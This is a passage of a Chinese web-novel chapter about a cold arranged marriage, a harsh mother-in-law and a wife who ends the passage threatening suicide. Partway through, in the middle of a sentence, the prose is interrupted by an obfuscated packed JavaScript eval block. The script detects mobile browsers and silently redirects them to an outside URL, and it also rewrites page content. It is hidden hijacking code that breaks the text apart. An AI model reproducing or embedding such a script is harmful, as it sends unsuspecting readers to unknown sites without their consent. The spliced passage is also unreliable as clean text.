李父微笑着看向肖晨,目光满是和蔼,指着娇艳欲滴的花卉说道:“贤婿,一会儿让人把这些花朵抱到府里去。傲雪在家中若能侍弄花草,也能有点事情做,省得无聊。” 肖晨点头称是,回应道:“岳父所言极是,有了这些花,府里的花园定能更添几分漂亮。傲雪向来心灵手巧,想必会把花儿照料得很好。” 李父满意地笑了笑,接着关切问道:“贤婿,你平日里喜欢吃什么?我好吩咐厨房准备午饭,今儿个定要让你吃得尽兴。” 肖晨礼貌地笑了笑,说道:“岳父不必如此客气,我吃什么都行,简单家常便好,您和岳母费心了。” 李父摆摆手,爽朗笑道:“这是什么话,你难得来,自是要好好招待。家常便饭也得是你爱吃的才好。”说着,他转头对身旁的管家说道:“去问问厨房,今儿准备的菜色里可有姑爷爱吃的,若没有,赶紧添几道。”管家领命匆匆而去。 此时,李傲雪和李母也漫步过来。李傲雪听到父亲和肖晨的对话,心中泛起一丝暖意。她轻轻看了肖晨一眼,说道:“少爷,您尽管说喜欢吃的,父亲定会让厨房精心准备。” 肖晨微微颔首,说道:“那就有劳岳父岳母了。其实我偏爱清淡些的菜肴,像清蒸鲈鱼、素炒时蔬之类的,都很合口味。” 李父听了,连连点头:“好好,清淡的菜健康。我这就去叮嘱厨房。”说完,他快步朝着厨房方向走去,一心要为女婿准备一顿丰盛满意的午饭。 花园里,李傲雪与肖晨并肩走着,气氛较之前更加融洽。李母看着二人,眼中满是欣慰,默默祈祷着女儿女婿往后的日子能一直这般和和美美。 7. 碰你一下我都嫌弃 不多时,管家前来告知午饭已经备好。众人移步至饭厅,只见桌上摆满了色香味俱佳的菜肴,清蒸鲈鱼摆在中央,鱼身淋着鲜美的酱汁,葱丝与红椒丝相间摆放,散发着诱人的香气;几盘素炒时蔬色泽鲜亮,清爽宜人。此外,还有几道李府的拿手好菜,满满当当一桌,尽显诚意。 大家纷纷入座,李父端起酒杯,笑着说道:“贤婿,今日你们回门,咱们一家人难得聚在一起,来,干一杯!”众人纷纷举杯,一饮而尽。 用餐间,李母不住地给肖晨和李傲雪夹菜,嘴里念叨着:“傲雪,你也多吃点,看你瘦的。晨儿,这是我们家的招牌菜,你尝尝合不合口味。” 肖晨品尝着菜肴,赞不绝口:“岳母的手艺真好,这些菜都十分美味,尤其是这清蒸鲈鱼,火候恰到好处,鲜嫩无比。”李母听了,笑得合不拢嘴:“贤婿喜欢就好,以后常回来,我经常做给你吃。” 李傲雪看着肖晨与父母相谈甚欢,心中满是喜悦。她鼓起勇气,主动为肖晨盛了一碗汤,轻声说道:“少爷,喝点汤吧。”肖晨微微一愣,随即接过汤碗,说道:“多谢。” 饭桌上,欢声笑语不断,一家人其乐融融。饭后,众人来到客厅喝茶聊天。李父与肖晨谈起生意上的一些事,肖晨见解独到,分析得头头是道,李父不住点头,对这个女婿愈发满意。 李傲雪和李母则坐在一旁,小声说着贴心话。李母看着女儿脸上久违的笑容,悄声问道:“傲雪,今儿看你们俩相处得不错,是不是关系好些了?”李傲雪脸颊微红,轻轻点头:“嗯,娘,今天少爷对我比以往温和了许多。”李母欣慰地拍了拍女儿的手:“那就好,娘就盼着你们夫妻和睦。你平日里多用心,好好经营这段婚姻。” 不知不觉,日头渐西,肖晨和李傲雪起身告辞。李父李母将二人送至门口,千叮咛万嘱咐:“有空就多回来看看。”肖晨和李傲雪应下,上了马车缓缓离去。 马车内,李傲雪望着窗外逐渐远去的娘家,心中五味杂陈。这一天,有与父母相聚的喜悦,也有与肖晨关系缓和的欣慰。她暗暗发誓,回到肖家后,一定要更加努力,维护好这段婚姻。而肖晨看着李傲雪,心中也泛起一丝涟漪,自己对她是不是太冷了。 肖父肖母瞧见二人归来,肖母赶忙迎上前,笑说道:“你们可算回来了,一路上奔波,累坏了吧。”随即扭头吩咐丫鬟,“快带少爷去洗澡,让他好好放松放松。” 待肖晨随着丫鬟离开后,肖母脸上的笑容瞬间淡去,目光直直看向李傲雪,压低声音问道:“今天你回门,没让我儿子发现你的伤吧?” 李傲雪心中一紧,忙不迭摇头,轻声回道:“娘,没有。我……我一直小心遮掩着,没让少爷瞧见。” 肖母微微眯起眼睛,审视着李傲雪的神情,似要从她脸上找出一丝破绽。片刻后,她微微点头,语气稍缓,却仍带着几分警告意味:“没让他发现就好。你记住,在肖家,有些事能说,有些事不能说。你若还想安稳过日子,就别耍什么花样。” 李傲雪心中满是委屈与恐惧,眼眶泛红,却只能强忍着泪水,低头应道:“娘,儿媳明白,儿媳不敢。” 肖母看着李傲雪这般模样,心中并无太多怜悯,只是冷冷说道:“明白就好。回房歇着吧,晚上记得好好伺候少爷。”说罢,转身离去。 李傲雪望着肖母离去的背影,满心悲戚。她深知,在这肖家,自己的处境如履薄冰,未来的日子,不知还要承受多少委屈与压力。然而,为了不让父母担心,更为了自己那渺茫的未来,她只能默默承受,期盼着有朝一日,一切能有所改变。 肖父看着肖母离去的方向,微微皱眉,等肖母回来后,忍不住说道:“你这么对待儿媳,是不是有点过了?她一个刚进门的姑娘,你别总是这么苛刻。” 肖母不以为然,哼了一声说道:“这媳妇你不治治她,她就敢爬到儿子的头上。现在不立规矩,以后还得了?我这个做婆婆的,心疼儿子怎么了?难道眼睁睁看着儿子被媳妇拿捏?” 肖父无奈地叹了口气,说道:“哪有你说的这般严重。夫妻之间讲究的是相互尊重,你这般逼迫,反而可能适得其反,让他们夫妻离心。” 肖母却固执己见,说道:“我这是为他们好。想当年我刚进肖家门,不也是被婆婆严加管教?现在咱们肖家和睦,家业兴旺,不都是规矩立下的功劳?傲雪这丫头,看着柔弱,万一心里有别的想法,到时候苦的可是咱儿子。” 肖父见肖母如此坚持,知道一时半会儿劝不动她,只能语重心长地说:“就算要立规矩,也该循序渐进,不可操之过急。你这样会让傲雪心生怨恨,对这个家也没有归属感。儿子和儿媳若是关系不好,这个家又怎能安宁?” 肖母沉默了一会儿,似乎在思索肖父的话,但很快又说道:“我自有分寸,你就别管了。我只希望儿子能好好继承家业,延续肖家香火,其他的都不重要。”说完,便不再理会肖父,径直走向内室。 肖父望着肖母的背影,心中忧虑重重。他担心肖母这般强硬的做法,会让这个家陷入更深的矛盾与危机之中,却又不知该如何化解这日益紧张的婆媳关系,只能暗自叹息。 李傲雪在房里坐立不安,满心紧张地等待着肖晨。终于,听到门外传来脚步声,她赶忙起身,见肖晨推门而入。 李傲雪鼓足勇气,轻声说道:“少爷,能不能陪我回房说说话?”肖晨本想拒绝,可看着李傲雪眼中那小心翼翼又满含期待的神情,终究还是没能狠下心,犹豫片刻后应道:“好吧。” 两人回到房间,李傲雪请肖晨坐下,自己则局促地坐在一旁,双手不自觉地绞着衣角。沉默片刻,李傲雪抬起头,看着肖晨,眼中带着一丝羞涩与紧张:“少爷,今日在我娘家,我瞧您与我父亲相谈甚欢,心里很是欢喜。” 肖晨微微点头,神色舒缓了些:“岳父见识广博,与他交谈的确受益匪浅。” 李傲雪轻轻咬了咬嘴唇,似是下了很大决心,接着说道:“少爷,我知道咱们成婚以来,相处得不算融洽,我……我想改变这样的状况。以后,我会更加用心照顾您,也希望咱们能像寻常夫妻那般,相互扶持。” 肖晨看着李傲雪,心中泛起一丝复杂的情绪。他从未想过李傲雪会如此坦诚地说出这番话,一时竟不知如何回应。过了一会儿,他缓缓说道:“你有这份心意便好。只是……有些事,并非一朝一夕就能改变。” 李傲雪赶忙点头:“我明白,少爷。我愿意慢慢来,只要您能给我机会。”她眼中闪烁着坚定的光芒,仿佛在这一刻,看到了两人关系改善的希望。 肖晨看着李傲雪认真的模样,心中的防线悄然松动了几分。他微微颔首,说道:“以后的日子,且看你表现吧。”李傲雪脸上顿时绽放出笑容,说道:“多谢少爷,我定会努力。” 肖晨神色平静,语气却不容置疑:“我只能答应跟你好好相处,但依旧不会碰你。三年为期,若你无所出,我们便和离。” 李傲雪听闻,眼眶瞬间红了,满心委屈与不解,追问道:“为什么,为什么你就是不肯接纳我?” 肖晨避开她的目光,找了个借口说道:“我年纪小,还想多专注于家族事务。更何况,我对你确实没什么感情,男女之事,强求不来。” 李傲雪泪水在眼眶里打转,声音带着哭腔:“你是不是嫌弃我比你大,所以才一直不肯碰我?可我是你的妻子啊,自我们成婚那日起,便应同甘共苦,相互扶持。” 肖晨心中微微一滞,面对李傲雪的质问,竟有些无言以对。他深知自己的理由牵强,可内心的抗拒又难以消散。沉默片刻,他硬着心肠说道:“与年龄无关,感情的事,勉强不来。你莫要再提此事,往后三年,你我相安无事便好。” 李傲雪泪如雨下,心中满是绝望与悲哀。她不明白,为何自己的真心付出,换来的却是这般冰冷的回应。在这封建礼教束缚的婚姻里,她满心期许的夫妻和睦、相濡以沫,似乎变得遥不可及。然而,她又无力改变肖晨的决定。 肖晨深知自己身处这复杂的局面,根本无法给予李傲雪世俗意义上的幸福。毕竟,他实则是来自现代的女孩子,灵魂的本质让她实在难以对同为女性的李傲雪产生爱意。 为了能让李傲雪彻底死心,肖晨咬了咬牙,狠心地说道:“我就是嫌弃你比我大!看看那些女人,哪个不是在豆蔻年华时最动人,可你呢,都成老姑娘了。我才16岁,大好年华还在后头,怎么能和你一直将就过下去?” 李傲雪如遭雷击,脸色瞬间变得惨白。她瞪大了双眼,难以置信地看着眼前这个熟悉又陌生的丈夫,泪水不受控制地奔涌而出。她颤抖着嘴唇,却半晌说不出话来。她怎么也想不到,自己一心所托之人,竟会用如此伤人的话语来刺痛她。 在这封建礼教森严的时代,女子的年华与容貌被视为重中之重,肖晨这番话,无疑是对她最致命的打击。她满心的爱意与期待,在这一刻,如泡沫般破碎消散。 肖晨看着李傲雪痛苦的模样,心中也泛起一丝不忍。可她明白,若不狠下心来,只会让李傲雪陷得更深,未来受到的伤害也更大。于是,她只能别过头,不去看李傲雪的惨状,任由那悲伤的气氛在房间里肆意蔓延,只是在心底默默叹息,感慨命运弄人。 李傲雪泣不成声,满心悲戚地质问:“你既然这么嫌弃我,当初为什么要娶我?既然厌恶至此,又何必让我陷入这痛苦的境地!” 肖晨别过头,不敢直视李傲雪那饱含绝望与痛苦的眼神,硬着心肠说道:“那还不是家族的安排!我又有什么办法?我本就身不由己。”顿了顿,他似是为了彻底断绝李傲雪的念想,再次狠下心来,言辞愈发冰冷:“我要的人,必定是年轻漂亮,正值青春妙龄的。你都到这岁数了,就别再妄想能得到我的爱。说实话,碰你一下,我都觉得浑身不自在,受不了。” 这些话如同一把把利刃,直直刺入李傲雪的心窝。她只觉得万念俱灰,原本对婚姻仅存的一丝幻想,此刻被肖晨无情地碾得粉碎。她一直以为,即便起初没有感情,只要自己用心相待,日子久了,总能捂热肖晨的心。却不曾想,在肖晨眼中,自己竟是如此不堪。 李傲雪双腿一软,险些瘫倒在地。她下意识地伸手扶住桌子,才勉强稳住身形。泪水不停地从脸颊滑落,打湿了她的衣衫。在这封建的牢笼里,她本就如浮萍般身不由己,如今被肖晨这般残忍对待,更觉前路茫茫,不知该何去何从。 肖晨看着李傲雪摇摇欲坠的模样,心中一阵刺痛。尽管她清楚自己的做法是为了长痛不如短痛,可目睹李傲雪如此伤心欲绝,终究还是有些于心不忍。但她明白,一旦心软,之前的努力便会付诸东流,只能强忍着内心的挣扎,转身快步走出房间,留下李傲雪一人在房中,沉浸在无尽的悲伤之中。 丫鬟匆匆赶到肖母跟前,低声禀告:“夫人,少爷出去了,少夫人一个人在房间里哭得很伤心。”肖母听闻,脸色一沉,下意识便觉得是李傲雪这个“贱人”又惹儿子不高兴了。她怒气冲冲地朝着李傲雪房间走去。 一进房间,就看到李傲雪哭得梨花带雨,狼狈不堪。肖母皱着眉头,满脸嫌弃地说道:“你们回来的时候还好好的,怎么这一会儿功夫,我儿子又跑出去了?你到底对他说了什么,做了什么?” 李傲雪满心委屈,想解释却又不知从何说起,只是泣不成声。肖母见状,愈发恼火,提高音量道:“哼,我就知道你不安分!嫁进我们肖家,是你的福气,你不懂得好好珍惜,还在这里哭哭啼啼,成何体统!说,是不是你又纠缠我儿子,惹他厌烦了?” 李傲雪好不容易止住些哭声,抽噎着说道:“娘……不是我……是少爷他……他说嫌弃我年纪大,说碰我一下都受不了,还说三年后若我无所出就和离……”说着,又悲从中来,放声大哭。 肖母听了,心中虽有些惊讶儿子竟如此直白,但仍觉得李傲雪是在装可怜。她冷哼一声:“我看你就是平日里不知检点,才引得我儿子如此厌烦。我警告你,进了肖家门,就得守肖家的规矩。要是再敢惹我儿子不开心,我绝不轻饶!”说罢,甩袖而去,只留下李傲雪独自在房内,在痛苦与绝望中愈发无助。 李傲雪呆呆地望着肖母离去的背影,泪水依旧止不住地流淌。心中的悲戚如潮水般汹涌,几乎将她淹没。她满心都是肖晨那绝情的话语,以及肖母的指责,只觉自己在这肖家,当真如坠冰窟,孤立无援。 此后的日子里,李傲雪愈发小心翼翼。她每日早早起身,精心梳妆,只为能在肖晨面前留下好印象,可肖晨依旧对她冷淡如初。哪怕她费尽心思准备肖晨爱吃的饭菜,肖晨也只是匆匆吃上几口,便借口有事离开。 而肖母,似乎认定了是李傲雪的错,对她的态度也越发恶劣。稍有不顺心,便对李傲雪冷嘲热讽,或是罚她做些繁重的活计。李傲雪默默承受着这一切,心中虽有怨愤,却因无处倾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993168|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诉,只能暗自落泪。 一日,肖家来了一位远方亲戚,携家眷一同拜访。肖母为了彰显家族和睦,要求李傲雪在众人面前表现出夫妻恩爱的模样。李傲雪心中虽不情愿,但也只能听从安排。 宴会上,李傲雪努力挤出笑容,为肖晨布菜,轻言细语地与他交谈。肖晨心中厌烦,却又不好在众人面前发作,只能勉强应付。然而,敏锐的肖母还是察觉到了两人之间的异样。 待客人离去后,肖母将李傲雪唤到跟前,怒声斥责道:“你到底怎么回事?在客人面前都不能让我儿子有个好脸色。你是不是存心要让肖家丢脸?”李傲雪满心委屈,却不敢辩驳,只能低着头默默流泪。 肖母见状,更是火冒三丈:“哭,就知道哭!从今天起,你就去祠堂跪着反省,什么时候想明白了,知道该怎么伺候我儿子了,什么时候再起来!” 李傲雪不敢违抗,拖着沉重的步伐走向祠堂。冰冷的地面刺痛着她的膝盖,可比起心中的伤痛,这身体上的疼痛似乎都变得微不足道。她望着祠堂里供奉的祖先牌位,心中一片茫然,不知自己在这肖家的苦难日子,究竟何时才是尽头…… 肖晨漫步在自家花园,目光扫过那五彩斑斓的花朵,脑海中不禁浮现出岳父送花时的场景。这些品种各异的花卉,承载着岳父的心意,也让他不自觉地想起李傲雪。往日里,李傲雪总会在花园中流连,悉心照料这些花儿,可今日却不见她的踪影。 心中泛起一丝疑惑,肖晨唤来身旁的下人,询问道:“少夫人呢?怎么没见她来花园?”下人面露难色,纷纷摇头表示不知。 无奈之下,肖晨只能前往母亲的住处。见到母亲后,他开口问道:“娘,您知道傲雪去哪儿了吗?我在花园没看到她,问下人,他们也说不清楚。” 肖母抬眼瞧了瞧儿子,哼了一声说道:“她呀,去祠堂了。今儿个在客人面前没把场面撑起来,惹得我不高兴,我罚她去祠堂跪着反省了。” 肖晨微微皱眉,心中闪过一丝复杂的情绪。他想说些什么,却又觉得似乎没有立场。毕竟,母亲管教儿媳,在这家中也是常理。可不知为何,一想到李傲雪独自在祠堂跪着,他心中竟有些不是滋味。 沉默片刻,肖晨轻声说道:“娘,祠堂阴冷,她身子弱,您看这……”肖母不等他说完,便打断道:“怎么?心疼了?她要是能把伺候你的心思多放点在正事儿上,也不至于受罚。你别管了,我自有分寸,这也是为了让她长点记性。” 肖晨见状,知道母亲心意已决,再多说恐怕只会惹母亲不悦。他只好作罢,转身离开。可在离去的路上,他忍不住回头望向祠堂的方向,心中暗暗思忖,李傲雪在那里,不知要吃多少苦头…… 肖晨深知婆媳关系向来错综复杂,处理起来棘手万分。在这封建的古代社会,孝道大过天,若是背上不孝顺的骂名,不仅会沦为众人的谈资,遭人唾弃,就连官府也不会轻易放过自己,而且势必会严重影响家族的声誉。权衡之下,他实在不想得罪母亲。 然而,一想到李傲雪独自在祠堂承受着冰冷与孤寂,他又于心不忍。一番挣扎后,肖晨还是决定悄悄前往祠堂。 月色如水,洒在庭院的小径上。肖晨避开众人,脚步轻轻,生怕惊动他人。穿过曲折的回廊,绕过几处亭台楼阁,他终于来到了祠堂前。 祠堂的门半掩着,透出一丝微弱的烛光。肖晨轻轻推开门,门轴发出“嘎吱”一声轻响,在寂静的夜里格外清晰。他看到李傲雪正跪在蒲团上,身形单薄,在摇曳的烛光下,影子被拉得老长。 李傲雪听到声响,微微转过头,看到是肖晨,眼中闪过一丝惊讶与慌乱,赶忙低下头去,小声说道:“少爷,您怎么来了?”声音带着几分哽咽与疲惫。肖晨看着她狼狈的模样,心中一软,轻声问道:“你……还好吗?”话一出口,又觉得自己的问题有些多余,这样的情境下,她又怎么会好呢。 李傲雪咬了咬嘴唇,强忍着泪水说道:“少爷,我没事。是儿媳做得不好,惹母亲生气了,理应受罚。”肖晨微微皱眉,想说些安慰的话,却又不知从何说起。沉默片刻,他缓缓走到李傲雪身边,说道:“起来吧,地上凉。”李傲雪犹豫了一下,还是摇了摇头:“少爷,我不能起来,母亲罚我跪着反省,儿媳若起来,便是违抗母命。” 肖晨心中有些无奈,也有些敬佩她对规矩的恪守。他想了想,说道:“那你先稍歇一会儿,我去和母亲说说,让她饶恕你这一回。”李傲雪抬起头,眼中满是感激:“多谢少爷,只是……您千万别为了我与母亲起争执,不然儿媳罪过就更大了。” 肖晨听到她这么说,心中涌起一阵怜惜。他不再迟疑,伸手轻轻扶起李傲雪,说道:“女人家身子骨要紧,这祠堂阴冷,要是病了可不好。” 李傲雪身子微微一颤,在肖晨的搀扶下缓缓起身。她抬起头,望着肖晨,眼中泪光闪烁,声音带着几分颤抖:“少爷,您……您的好意,我心领了。可若是母亲怪罪下来……” 肖晨看着她那担忧的模样,心中轻叹一声,说道:“你且放心,有我在。母亲那里,我自会去说。你先坐下歇歇。”说着,他扶着李傲雪走到一旁的凳子前,让她坐下。 李傲雪坐在凳子上,低垂着头,双手不自觉地绞着衣角,心中满是感动与不安。感动的是,肖晨竟会不顾母亲的责罚,前来关心自己;不安的是,她害怕自己的行为会让肖晨与母亲之间产生矛盾。 肖晨看着李傲雪局促的样子,心中有些自责。成婚以来,自己对她太过冷漠,才让她在这家中如此战战兢兢。他轻声说道:“傲雪,这些日子,是我对你关心不够。往后,我会注意的。” 李傲雪听闻,眼中闪过一丝惊喜,她猛地抬起头,看着肖晨,仿佛不敢相信自己的耳朵:“少爷,您……您说的可是真的?”肖晨微微点头,说道:“自然是真的。你我既已成婚,便是夫妻,理当相互扶持。” 李傲雪眼眶再次湿润,这一次,不是因为委屈与痛苦,而是因为肖晨这突如其来的温柔与承诺。她哽咽着说道:“少爷,只要您能这般待我,傲雪便是再苦再累,也心甘情愿。” 肖晨看着李傲雪,心中的坚冰仿佛在这一刻悄然融化。他轻轻拍了拍李傲雪的肩膀,说道:“好了,别哭了。我这就去母亲那儿,你在这里等我消息。”李傲雪乖巧地点点头,目送着肖晨离开祠堂,心中默默祈祷着肖晨能说服母亲,也期盼着他们夫妻之间的关系能就此改善。 8. 起了生理反应 肖晨匆匆来到母亲身边,一脸恳切地说道:“娘,您就原谅傲雪吧。您也知道,祠堂那地方阴暗潮湿,她一介女流,身子骨本就弱,要是真被折腾坏了,以后谁来伺候我呀。” 肖母听了,脸色一沉,冷哼道:“那也不行!她连伺候你都做不好,留着何用?大不了咱们重新娶一个。她伺候不好我的儿子,那是她活该!” 肖晨见母亲态度坚决,心中一急,脱口而出:“娘,您要是不原谅她,我就陪着她一起在祠堂跪着!” 肖母瞪大了眼睛,难以置信地看着儿子,气得浑身发抖:“你……你这是在威胁娘?为了那个女人,你居然敢这么跟我说话!” 肖晨扑通一声跪在地上,语气坚定:“娘,我不敢威胁您。只是傲雪她并无恶意,今日之事或许只是无心之失。儿子恳请您高抬贵手,饶她这一回。若您执意不肯,儿子甘愿受罚,也好让傲雪知道守规矩的重要。” 肖母看着跪在地上的儿子,又气又恼,手指着他,半晌说不出话来。她怎么也没想到,一向听话的儿子,竟会为了儿媳跟自己如此强硬。 沉默良久,肖母重重地叹了口气:“罢了罢了,你起来吧。看在你的面子上,我就饶她这一回。不过你给我记住,下不为例!要是她再敢犯错,我绝不轻饶!” 肖晨心中一喜,赶忙说道:“多谢娘!儿子定会让傲雪明白您的苦心,往后她定会更加小心谨慎,孝顺您老。”说完,他起身匆匆往祠堂赶去,要将这个好消息告诉李傲雪,也希望从此之后,家中能少些纷争,他与李傲雪的关系能真正有所改善。 李傲雪看到肖晨匆匆走进祠堂,眼中满是担忧,急忙问道:“少爷,没有让娘生气吧?” 肖晨脸上浮现出一丝笑意,说道:“放心吧,她已经原谅你了。你就不用跪着了。”说罢,不等李傲雪反应,他便轻轻将她抱了起来,朝着房间走去。 李傲雪顿时羞红了脸,这还是她第一次与肖晨如此近距离接触。她下意识地挣扎了一下,轻声说道:“不可,少爷还没完全长大,累着你怎么办。” 肖晨感受到她的不安,嘴角微微上扬,说道:“你放心,我抱得动。你刚跪了那么久,腿脚肯定麻了,别逞强。” 李傲雪听他这么说,心中又是感动又是羞涩,便不再挣扎,乖乖地窝在肖晨怀里,感受着他有力的臂膀传递来的温度,一颗心怦怦直跳。 很快,肖晨便将李傲雪抱进了房间,轻轻放在床上。李傲雪坐起身来,低垂着头,双手紧张地揪着衣角,小声说道:“多谢少爷,今日若不是少爷,傲雪真不知该如何是好。” 肖晨看着她这副娇羞又感激的模样,心中泛起一丝别样的情愫,柔声道:“好了,别这么客气。你好好休息,今日之事就翻篇了。以后有什么事,别一个人扛着,跟我说便是。” 李傲雪微微点头,抬眸看向肖晨,眼中满是信任与依赖:“嗯,傲雪记住了,少爷的恩情,傲雪定当铭记于心。” 肖晨微笑着摆了摆手,说道:“这点小事你不用放心上,往后咱们是夫妻,相互照应是应该的。” 李傲雪眼中满是期许,轻声问道:“你能坐在这陪我一会好吗?”她的声音轻柔,带着一丝不易察觉的怯懦,仿佛生怕肖晨会拒绝。 肖晨没有丝毫犹豫,点头应允。他转身走到桌旁,倒了一杯热茶,小心翼翼地端到李傲雪面前,递了过去,关切地说道:“你喝点茶暖暖身体。女人家身子骨不能受凉,刚在祠堂跪久了,寒气容易入体。” 李傲雪接过茶杯,手指不经意间触碰到肖晨的手,顿时一阵温热传来,她的脸颊瞬间泛起红晕。她轻抿一口茶,热气顺着喉咙缓缓而下,温暖了她的身心,也驱散了方才在祠堂里的寒意。 两人一时陷入沉默,却并不觉得尴尬。李傲雪偷偷抬眸看向肖晨,目光中满是羞涩与感激。她发现,今日的肖晨似乎与往日不同,多了几分温柔与体贴,这让她原本冰冷的心,渐渐有了温度。 肖晨注意到李傲雪的目光,心中微微一动。他清了清嗓子,说道:“你若是觉得冷,我再让人给你添个暖炉。以后,别总是这么委屈自己,有什么想法,都可以跟我讲。” 李傲雪眼眶微红,轻轻点头,声音带着几分哽咽:“少爷,您今日的关怀,傲雪都记在心里了。以前……以前是傲雪做得不好,没能让少爷满意。往后,傲雪定会更加用心。” 肖晨看着李傲雪,心中泛起一丝怜惜,说道:“过去的事就别提了,以后咱们好好过日子。” 李傲雪望着眼前温柔体贴的肖晨,心中爱意如潮水般翻涌,情难自抑地主动凑上去,想要吻他,试图用这个举动来表达自己满心的情感。 肖晨敏锐地察觉到她的意图,下意识地迅速闪过头,脸上浮现出一丝慌乱,语气带着不容置疑的坚决,说道:“你不要离我这么近。我不能爱你。” 李傲雪如遭电击,动作瞬间僵住,眼中的光芒也陡然黯淡下去,只剩下无尽的失落与难堪。她缓缓往后退,与肖晨拉开距离,嘴唇颤抖着,泪水在眼眶里打转:“少爷,为什么……为什么还是不行?我以为……以为您今日对我与往日不同,是……是对我有了心意。” 肖晨避开她那饱含痛苦与疑惑的目光,心中满是纠结与无奈。他深知自己的拒绝会让李傲雪伤心,可他内心深处的那道防线,却始终无法逾越。沉默片刻,他艰难地开口说道:“傲雪,我……我并非有意要伤害你。只是,有些事情,不是我能左右的。你很好,可我……实在无法给予你男女之间的那种爱。” 李傲雪的泪水夺眶而出,顺着脸颊滑落。她满心悲戚,却又无力改变肖晨的心意。在这封建礼教的束缚下,她对肖晨的爱,本就如风中残烛,摇摇欲坠,如今肖晨这冰冷的拒绝,更是让她觉得万念俱灰。她哽咽着说道:“少爷,难道在您心里,我就如此不堪,连一丝机会都没有吗?” 肖晨看着李傲雪悲痛欲绝的模样,心中一阵刺痛,可他终究还是狠下心,说道:“傲雪,长痛不如短痛,你……还是忘了这份感情吧。”说罢,他不敢再看李傲雪一眼,转身匆匆离开房间,只留下李傲雪一人,在这寂静的房间里,独自承受着这份被拒的伤痛,泪水打湿了衣衫,也浸湿了她那颗破碎的心。 肖母瞧见儿子从李傲雪房间出来,眼神瞬间犀利起来,赶忙迎上前去,语气带着几分急切与不满:“我今天都原谅她了,你是不是也该给我个说法?你们成婚这么久,到现在都还没有圆房,你到底想让我等到什么时候才能抱上孙子?” 肖晨心中一紧,脸上闪过一丝不自然。他低下头,避开母亲那灼灼的目光,嗫嚅着说道:“娘,此事急不得,我……我和傲雪还需要些时间相互了解。” 肖母一听,顿时就急了,提高音量说道:“还需要什么时间?你们都已经是夫妻了!哪有像你们这样成婚许久还不同房的?你别忘了,传宗接代可是大事,关乎我们肖家的香火延续!” 肖晨无奈地叹了口气,深知母亲在这件事上的执着,可他内心的想法又难以对母亲言说。沉默片刻,他缓缓说道:“娘,我知道您盼着抱孙子,可感情的事,不能强求啊。我想先把家族的生意打理好,给傲雪一个安稳的生活,到时候再考虑这些,也不迟。” 肖母皱着眉头,满脸的不悦:“你这说的是什么话?家族生意重要,延续香火就不重要了?你看看你那些朋友,哪家不是早早地就有了子嗣?你再拖下去,别人该怎么说我们肖家?” 肖晨心中一阵烦闷,却又不好对母亲发脾气。他试图换个角度劝说:“娘,傲雪刚进咱们家门不久,对家中事务还不太熟悉,我想让她先适应适应,等一切都稳定了,自然会考虑圆房之事。您就别再逼我了。” 肖母看着儿子那副坚持的模样,知道一时半会儿也说服不了他。她重重地哼了一声,说道:“我可告诉你,你别给我拖太久。这事儿,你得尽快给我个结果!”说完,气呼呼地转身走了,只留下肖晨站在原地,一脸的无奈与惆怅,不知该如何平衡母亲的期望与自己内心的纠结。 肖晨无奈之下,只能硬着头皮再次回到房间。李傲雪看到他回来,眼中瞬间亮起光芒,满心欢喜地以为他是舍不得自己才折返,不假思索地下床,快步走到肖晨身边,紧紧地抱住了他。 肖晨被这突如其来的举动弄得有些不知所措,看着这样热情的李傲雪,他轻轻挣开她的怀抱,脸上带着几分尴尬与无奈,说道:“你不要这样。” 李傲雪眼中的光芒微微一黯,却依旧不肯放弃,仰头看着肖晨,眼中满是深情与期待:“少爷,为什么您还是如此抗拒我?今日您为我向母亲求情,我以为……以为您对我已有所不同。” 肖晨避开她的目光,心中五味杂陈,不知该如何解释。他沉默片刻,缓缓说道:“傲雪,我为你向母亲求情,只是不想你受委屈,但这并不代表……代表我就能如你所愿。我……我对你,更多的是一种责任,而非男女之爱。” 李傲雪心中一阵刺痛,泪水再次涌上眼眶:“责任?难道在少爷心中,我就只是一个需要负责的对象,而永远无法得到您的真心吗?” 肖晨看着李傲雪伤心欲绝的模样,心中也不好受,可他又不想给她不切实际的希望。他深吸一口气,说道:“傲雪,感情之事,强求不来。我希望你能明白,我们或许可以相敬如宾,但……真的很难有你所期望的那种爱情。” 李傲雪松开了抱着肖晨的手,缓缓后退几步,失魂落魄地说道:“相敬如宾?可我想要的,明明是与您两情相悦,携手相伴一生。难道,这对我来说,真的是奢望吗?”说罢,泪水不受控制地流淌下来,她转身扑到床上,放声痛哭,仿佛要将这段时间以来所有的委屈与痛苦都宣泄出来。 肖晨缓缓走到床边坐下,看着哭得伤心的李傲雪,心中满是无奈,只能继续找借口说道:“我……我真的只是把你当成姐姐看待,从小到大,我对姐姐就是这种关心。” 李傲雪抬起满是泪痕的脸,眼中透着执着与哀求:“那你为什么这么关心我?若是只当我是姐姐,又何必为我向母亲求情?我不要做你的姐姐。我知道自己比你大,你不喜欢我,可只要让我做你的女人就好。哪怕你以后纳妾都行,我只求能在你身边,有个名分。” 肖晨听着李傲雪的话,心中一阵刺痛。他深知自己的行为让李傲雪产生了误解,可又无法将自己真实的内心想法说出。沉默良久,他艰难地开口:“傲雪,你别这样。纳妾之事也不是随意而为,而且即便如此,也不能改变我对你的感情。我……我希望你能找到真正爱你的人,能给你幸福的人。” 李傲雪苦笑一声,泪水再次涌出:“在这深宅大院里,我哪还有别的选择?自从嫁给你,我的心就全系在你身上了。少爷,难道您就真的忍心让我在这冰冷的宅院里,孤独终老吗?” 肖晨看着李傲雪如此绝望,心中的防线几乎要被攻破。但他知道,一旦心软,对两人都将是更大的伤害。他咬了咬牙,说道:“傲雪,你别逼我。我……我真的做不到。你先冷静冷静,好好想想我说的话。” 李傲雪猛地扑上前,紧紧抱住肖晨,声音带着决然与悲怆:“你要是不要我,与其在这里孤独终老,一辈子得不到你的爱,我还不如死了呢!” 肖晨身子一僵,满心焦急,赶忙说道:“你为何如此糊涂!生命何等珍贵,怎能轻言生死。” 